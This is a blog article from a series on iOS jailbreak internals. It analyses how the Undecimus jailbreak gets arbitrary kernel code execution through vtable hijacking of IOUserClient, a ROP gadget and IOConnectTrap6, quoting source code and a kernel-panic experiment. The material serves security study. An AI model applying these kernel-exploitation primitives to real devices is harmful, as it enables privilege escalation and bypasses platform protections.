iOS Jailbreak Principles

0 37
Series of ArticlesiOS Jailbreak Principles - Sock Port Vulnerability Analysis (P...

Series of Articles

  1. iOS Jailbreak Principles - Sock Port Vulnerability Analysis (Part One) UAF and Heap Spraying
  2. iOS Jailbreak Principles - Sock Port Vulnerability Analysis (Part Two) Leaking Port Address via Mach OOL Message
  3. iOS Jailbreak Principles - Sock Port Vulnerability Analysis (Part Three) IOSurface Heap Spraying
  4. iOS Jailbreak Principles - Sock Port Vulnerability Analysis (Part Four) The tfp0 !
  5. iOS Jailbreak Principles - Undecimus Analysis (Part One) Escape from Sandbox
  6. iOS Jailbreak Principles - Undecimus Analysis (Part Two) Kernel Data Location by String XREF

Preface

In The previous article We introduced the method of cross-referencing kernel data based on String, based on which we can locate variable and function addresses. This article will introduce the process of implementing arbitrary code execution in the kernel by combining tfp0, String XREF location, and IOTrap. Once this Primitive is achieved, we can execute kernel functions with root privileges, thus better controlling the kernel.

kexec overview

In Undecimus, arbitrary code execution in the kernel is achieved through ROP Gadget. The specific method is to hijack a system function pointer, point it to the function to be called, prepare parameters according to the prototype of the hijacked function pointer, and finally trigger the system call to the hijacked pointer.

Find hijackable function pointer

iOS Jailbreak Principles

To implement the above ROP, one key is to find a function pointer call that can be triggered in Userland and is easy to hijack, another key is that the prototype of the function pointer should support a variable number of parameters, otherwise it will bring trouble to parameter preparation. Fortunately, in IOKit, the system provides the IOTrap mechanism that exactly meets all the above conditions.

IOKit provides the IOConnectTrapX function to trigger the IOTrap registered to IOUserClient, where X represents the number of parameters, with a maximum support of 6 parameters:

kern_return_t
IOConnectTrap6(io_connect_t    connect,
           uint32_t        index,
           uintptr_t    p1,
           uintptr_t    p2,
           uintptr_t    p3,
           uintptr_t    p4,
           uintptr_t    p5,
           uintptr_t    p6 )
{
    return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}

The userland call corresponds to the kernel iokit_user_client_trap Function, the specific implementation is as follows:

kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)}
{
    kern_return_t result = kIOReturnBadArgument;
    IOUserClient *userClient;

    if ((userClient = OSDynamicCast(IOUserClient,
            iokit_lookup_connect_ref_current_task((mach_port_name_t)(uintptr_t)args->userClientRef)))) {
        IOExternalTrap *trap;
        IOService *target = NULL;

        // find a trap
        trap = userClient->getTargetAndTrapForIndex(&target, args->index);

        if (trap && target) {
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

    iokit_remove_connect_reference(userClient);
    }

    return result;
}

The above code first converts the IOUserClient handle passed from userland into a kernel object, and then extracts the IOTrap from userClient to execute the corresponding function pointer. Therefore, as long as we hijack getTargetAndTrapForIndex and return a deliberately constructed IOTrap, which can tamper with the execution of the kernel. target->*func; What's more perfect is that the function's parameters exactly match the parameters of userland calling IOConnectTrapX.

Let's take a look at getTargetAndTrapForIndex implementation:

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
    IOExternalTrap *trap = getExternalTrapForIndex(index);

    if (trap) {
        *targetP = trap->object;
    }

    return trap;
}

It can be seen that IOTrap is derived from getExternalTrapForIndex The method returns, and further investigation shows that this is a function with a default implementation of an empty function:

IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}

It can be seen that this function is not implemented by default in the superclass, which is likely a virtual function. Let's look at the class declaration of IOUserClient to verify:

class IOUserClient : public IOService {
    // ...
    // Methods for accessing trap vector - old and new style
    virtual IOExternalTrap * getExternalTrapForIndex( UInt32 index ) APPLE_KEXT_DEPRECATED;
    // ...
};

Since it is a virtual function, we can combine tfp0 to modify the virtual function table of the userClient object, and tamper with getExternalTrapForIndex The virtual function pointer points to our ROP Gadget, and IOTrap return is constructed here.

function hijacking is implemented

In the Undecimus source code,getExternalTrapForIndex The virtual function pointer is pointed to an existing instruction area in the kernel:

add x0, x0, #0x40
ret

There are no manually constructed instructions here, which should be considered because constructing an executable page has a high cost, while reusing an existing instruction area is very simple. Let's analyze the role of these two instructions below.

Because getExternalTrapForIndex It is an instance method, where x0 is the implicit parameter this, so it is hijacked getExternalTrapForIndex The return value is this + 0x40, so we need to store a deliberately constructed IOTrap structure at userClient + 0x40:

struct IOExternalTrap {
    IOService *        object;
    IOTrap        func;
};

Let's recall the execution process of IOTrap:

trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
    IOTrap func;

    func = trap->func;

    if (func) {
        result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
    }
}

Here, the target is the object of IOTrap, which serves as the implicit parameter this for function calls; while func is the pointer to the function being called. Everything becomes clear here:

  1. Write the symbol address to trap->func to execute any function;
  2. Place the 0th parameter of the function into trap->object, and the 1st to 6th parameters are passed in when calling IOConnectTrap6 to implement variable parameter passing.

kexec code implementation

The above discussion is relatively macro, ignoring some important details. Below, we will analyze in detail by combining the Undecimus source code.

The challenges brought by PAC

Starting from iPhone XS, Apple has expanded a technology called PAC(Pointer Authentication Code) in ARM processors, which signs the pointer and return address with a specific key register and verifies the signature during use. If the verification fails, it will resolve an invalid address to cause a crash, and it adds extended instructions [1] to various common addressing instructions:

BLR -> BLRA*
LDRA -> LDRA*
RET -> RETA*

This technology brings a lot of trouble to our ROP, and Undecimus has carried out a series of special treatments for PACThe whole process is very complex, this article will not expand on it, and will introduce the mitigation measures and bypass methods of PAC in the following articles in detail. Readers who are interested can read Examining Pointer Authentication on the iPhone XS to understand it in detail.

vtable hijacking

We know that the pointer to the vtable of C++ objects is located at the starting address of the object, and the instance method function pointers are stored in the vtable according to offsets [2]. Therefore, as long as we determine getExternalTrapForIndex The offset of the method, then by using tfp0 to tamper with the address pointed to by the virtual function, ROP can be achieved.

The relevant source code of Undecimus is located in init_kexec, we will ignore the handling of PAC by arm64e first, and understand its vtable patch method. The following code includes 9 key steps, with key comments provided:

bool init_kexec()
{
#if __arm64e__
    if (!parameters_init()) return false;
    kernel_task_port = tfp0;
    if (!MACH_PORT_VALID(kernel_task_port)) return false;
    current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    if (!KERN_POINTER_VALID(current_task)) return false;
    kernel_task = ReadKernel64(getoffset(kernel_task));
    if (!KERN_POINTER_VALID(kernel_task)) return false;
    if (!kernel_call_init()) return false;
#else

    // 1. Create an IOUserClient
    user_client = prepare_user_client();
    if (!MACH_PORT_VALID(user_client)) return false;

    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
    // 2. Obtain the kernel address of IOUserClient, which is an ipc_port
    IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;

    // 3. Obtain the IOUserClient object from ipc_port->kobject
    IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;

    // 4. Virtual function pointers are located at the starting address of C++ objects
    kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;

    // The aim is to create a fake client with a fake vtable and overwrite the existing client with the fake one
    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel

    // Create the vtable in the kernel memory, then copy the existing vtable into there
    // 5. Construct and copy the vtable
    fake_vtable = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_vtable)) return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
    }

    // Create the fake user client
    // 6. Construct an IOUserClient object and copy the content of IOUserClient in the kernel to the constructed object
    fake_client = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_client)) return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
    }

    // Write our fake vtable into the fake user client
    // 7. Write the constructed vtable into the constructed IOUserClient object
    WriteKernel64(fake_client, fake_vtable);

    // Replace the user client with ours
    // 8. Write the constructed IOUserClient object back to the corresponding ipc_port of IOUserClient
    WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);

    // Now the userclient port we have will point to our fake user client instead of the old one

    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;
    // 9. Write the address of the specific instruction area to the 183rd entity of the vtable
    // It corresponds to the address of getExternalTrapForIndex
    WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));

#endif
    pthread_mutex_init(&kexec_lock, NULL);
    return true;
}

At this point, we have modified the return value of the constructed userClient getExternalTrapForIndex logic, the next step to achieve ROP attack is to call IOConnectTrap6 on userClient, and the remaining critical step is to prepare IOTrap as the return value of the ROP gadget.

the construction of IOTrap

Because getExternalTrapForIndex It points to the following instruction:

add x0, x0, #0x40
ret

We need to construct an IOTrap at the address userClient + 0x40:

struct IOExternalTrap {
    IOService *        object;
    IOTrap        func;
};

根据前面的讨论,object 应当被赋予被调用函数的第 0 个参数地址,func 应当赋予被调用函数的地址,然后再将函数的第 1 ~ 6 个参数通过 IOConnectTrap 的 args 传入。下面我们来看 Undecimus 中 kexec 的具体实现,作者在其中添加了一些注释:

kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
{
    kptr_t returnval = 0;
    pthread_mutex_lock(&kexec_lock);
#if __arm64e__
    returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
#else
    // 当调用 IOConnectTrapX 时,这将调用 iokit_user_client_trap,这是用户到内核的调用(MIG)。然后它调用 IOUserClient::getTargetAndTrapForIndex
    // 获取 trap 结构体(其中包含一个对象和函数指针本身)。这个函数调用 IOUserClient::getExternalTrapForIndex,它应该返回一个 trap。
    // 这将跳转到我们的设备,它返回到我们的假 user_client 的 +0x40,我们可以修改它。然后在该对象上调用该函数。但实际上 C++ 的工作方式是:
    // The function is called with the first argument being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
    // through like normal.

    // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
    // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
    // (I'm not actually sure if the switch back is necessary but meh)

    // IOTrap starts at +0x40
    // fake_client is the userClient we construct
    // offx20 is IOTrap->object, offx28 is IOTrap->func, this is a backup of the original values
    kptr_t offx20 = ReadKernel64(fake_client + 0x40);
    kptr_t offx28 = ReadKernel64(fake_client + 0x48);

    // IOTrap->object = arg0
    WriteKernel64(fake_client + 0x40, x0);
    // IOTrap->func = func_ptr
    WriteKernel64(fake_client + 0x48, ptr);

    // x1~x6 are the 1st to 6th parameters of the function, the 0th parameter is passed through trap->object
    returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);

    // Here, the original value is restored
    WriteKernel64(fake_client + 0x40, offx20);
    WriteKernel64(fake_client + 0x48, offx28);
#endif
    pthread_mutex_unlock(&kexec_lock);
    return returnval;
}

Based on the above discussion, this code is still easy to understand. Here, the principle of arbitrary code execution under non-arm64e architecture is explained. Discussions about arm64e will continue in the next article. Below, we will use kexec to conduct an experiment to verify the achievement of Primitive.

kexec Experiment

Environment Preparation

Please open the source code of Undecimus jailbreak.m, search _assert(init_kexec() Locate the code that initializes kexec, and you can find that kexec initialization is placed after ShenanigansPatch and setuid(0). ShenanigansPatch is a bypass measure taken by the kernel to check the ucred of sandboxed processes [3], which is implemented by locating and modifying kernel global variables through String XREF. Readers who are interested can read on their own Shenanigans, Shenanigans! .

For non-arm64e devices, it seems that kexec can be achieved only through tfp0, and this processing should be the necessary privilege escalation handling for arm64e devices to bypass PAC.

Our experimental code must be placed in init_kexec Only after the execution is successful.

Get the address of a kernel function

Many key function addresses were obtained in Undecimus, which are dynamically searched and cached through export symbols named find_xxx. It should be noted that after kexec initialization, kerneldump has been released, so the addresses of the functions must be calculated at the time of initializing kerneldump.

Let's refer to how Undecimus searches for and caches kernel data, taking the vnodelookup function as an example: First, we need to be in patchfinder64.h Declare a function named `find` that returns the address of the searched symbol:

uint64_t find_vnode_lookup(void);

Then the implementation of the search based on String XREF is completed:

addr_t find_vnode_lookup(void) {
    addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, string_base_pstring, false, false);
    if (!hfs_str) return 0;

    hfs_str -= kerndumpbase;

    addr_t call_to_stub = step64_back(kernel, hfs_str, 10*4, INSN_CALL);
    if (!call_to_stub) return 0;

    return follow_stub(kernel, call_to_stub);
}

Then complete the search in the kerneldump stage through the macro function find_offset:

find_offset(vnode_lookup, NULL, true);

The above macro function will dynamically call find_<symbol_name> Function and cache the result, and then it can be accessed via getoffset Macro function to get the corresponding offset:

kptr_t const function = getoffset(vnode_lookup);

Here we create a panic function offset in the style of a cat and a tiger:

uint64_t find_panic(void)
{
    addr_t ref = find_strref("\"shenanigans!", 1, string_base_pstring, false, false);

    if (!ref) {
        return 0;
    }

    return ref + 0x4;
}

The code being searched for is the panic statement located in the sandbox.kext:

panic("\"shenanigans!\"");

Through String XREF, we can locate the add instruction before the panic call, and the next instruction must be bl _panicTherefore, adding 4 to the search result will give us the address of the panic function in the kernel.

Call the kernel function

In the text above, we found the address of the panic function, and here we try to trigger a kernel panic with a custom string. Note that due to the existence of SMAP, the panic string needs to be copied from userland to kernel:

// play with kexec
uint64_t function = getoffset(panic);
const char *testStr = "this panic is caused by userland!!!!!!!!!!!!!!!";
kptr_t kstr = kmem_alloc(strlen(testStr));
kwrite(kstr, testStr, strlen(testStr));
kptr_t ret = kexec(function, (kptr_t)kstr, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL);
NSLog(@"result is %@", @(ret));
kmem_free(kstr, sizeof(testStr));

Then run Undecimus, which will cause a kernel panic. To verify that we have successfully called the kernel's panic function, open the settings page on the iPhone and turn on Privacy->Analytics->Analytics Datato find one with panic-full The latest log at the beginning, if the experiment is successful, you can see the following content:

tmp1.jpg

Summary

This article details the process and principles of implementing kexec through tfp0 under non-arm64e architecture, which can provide inspiration for readers to construct ROP Gadget. From the next article, we will analyze PAC mitigation measures and bypass techniques.

tmp2.jpg

Reference Materials

  1. Brandon Azad, Project Zero. Examining Pointer Authentication on the iPhone XS
  2. Malecrab. Notes on C/C++: Basic Principles of Virtual Function Implementation
  3. stek29.rocks. Shenanigans, Shenanigans!
  4. pwn20wndstuff. Basic Principles of Implementation of Virtual Functions in C/C++
你可能想看:
最后修改时间:
admin
上一篇 2025年03月30日 12:26
下一篇 2025年03月30日 12:48

评论已关闭